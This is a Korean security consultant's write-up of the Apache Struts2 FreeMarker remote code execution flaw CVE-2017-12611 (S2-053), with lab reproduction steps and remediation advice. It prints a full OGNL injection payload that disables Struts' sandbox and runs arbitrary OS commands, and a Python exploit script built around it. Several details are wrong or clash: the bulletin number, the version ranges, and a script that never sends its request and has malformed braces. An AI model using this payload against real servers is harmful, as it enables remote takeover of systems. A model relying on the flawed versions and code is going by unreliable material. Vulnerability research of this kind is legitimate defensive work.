daesun8292@a3security.com

TeamCR@K

황대선 선임컨설턴트


취약점 번호 : CVE-2017-12611(S2-503)

영향받는 버전 : Struts 2.0.1 - Structs2.3.33 , Struts 2.5 - Struts 2.5.10

영향받지 않는 버전 : Struts 2.5.12, Struts 2.3.32


개요

 - Apache Struts2 에서 임의 코드 실행이 가능한 취약점이 발견


내용

 - FreeMakrer 태그의 잘못된 구성으로 사용할 때 요청 값에 원격 코드 실행이 가능한 취약점

 - 매개 변수에 Rewrite가 되도록 %{} 구문을 사용하여 전송하는 경우에 해당 구문이 실행됨.


Freemarker 란?

 - 프리마커는 자바 서블릿을 위한 오픈소스 HTML 템플릿 엔진이다.

 - 프리마커에서는 HTML을 템플릿으로 저장하는데 이들은 결국 템플릿객체로 컴파일 된다. 

 - 프리마커 객체들은 서블릿에서 제공하는 데이터들을 이용하여 HTML을 동적으로 생성한다.


Freemarker 구조

 - FreeMarker는 표현의 결과물을 HTML(템플릿)로 관리하고 여기에 자바 객체를 연결하여 최종적인 결과를 만들어낸다.

[그림 1] Freemarker 구조


Poc

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream(),"GBK"))}


freemarker 취약점이 존재하는 환경 구성을 진행하였습니다.

[그림 2] freemarker 취약점이 존재하는 환경 구성


name 파라미터에 입력 후 value 값에 ${}로 출력하는 소스코드를 확인하였습니다.

[그림 3] freemarker취약점이 존재하는 소스코드 확인


웹 프록시를 이용하여 GET -> POST로 바꾼 후 name 파라미터 값에 %25{100-3} 삽입 시 결과 값으로 97이 출력되는 것을 확인하였습니다.

[그림 4] 취약점 테스트 확인


공격구문을 URL 인코딩 후 접근할 경우 RCE(Remote Command Execution)가 발생하는 것을 확인하였습니다.

[그림 5] RCE발생 확인


Python 소스코드

# -*- coding:utf-8 -*-

import sys

import requests

from urllib import quote


def exploit(url,cmd):

    payload = "%{"

    payload += "(#_='multipart/form-data')."

    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."

    payload += "(#_memberAccess?"

    payload += "(#_memberAccess=#dm):"

    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."

    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."

    payload += "(#ognlUtil.getExcludedPackageNames().clear())."

    payload += "(#ognlUtil.getExcludedClasses().clear())."

    payload += "(#context.setMemberAccess(#dm))))."

    payload += "(#cmd='%s')." % cmd

    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."

    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."

    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."

    payload += "(#p.redirectErrorStream(true))."

    payload += "(#process=#p.start())."

    payload += "(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}."

    payload += "}"

 

    data={

        "name" : payload,

        }

    print(data)


if __name__ == "__main__":

    if len(sys.argv)!= 3:

           print "Usage S2-053.py <url> <cmd>" %(sys.argv[0])

           sys.exit(0)

 

    print "[*] exploit Apache Struts2 S2-053"

    url = sys.argv[1]

    cmd = sys.argv[2]

 

    exploit(url, cmd)


[그림 6] 작성한 공격코드 실행


프록시를 통해 공격구문을 입력하여 접근 시, strace 를 통해 분석하였습니다. (요청 값 확인)

[그림 7] 요청 값 확인


[그림 8] /usr/bash 명령어 실행


[그림 9] /usr/sbin/ifconfig 명령어 실행


[그림 10] ifconfig 명령어 응답


대응 방안

 - 취약점에 영향을 받지 않는 버전으로 업데이트 수행(Apache Struts 2.5.12, Apache Struts 2.3.34)

 - 읽기만 가능한 속성을 이용하여 value 값 초기화(getter 속성에 한하여)

 - freemarker 미사용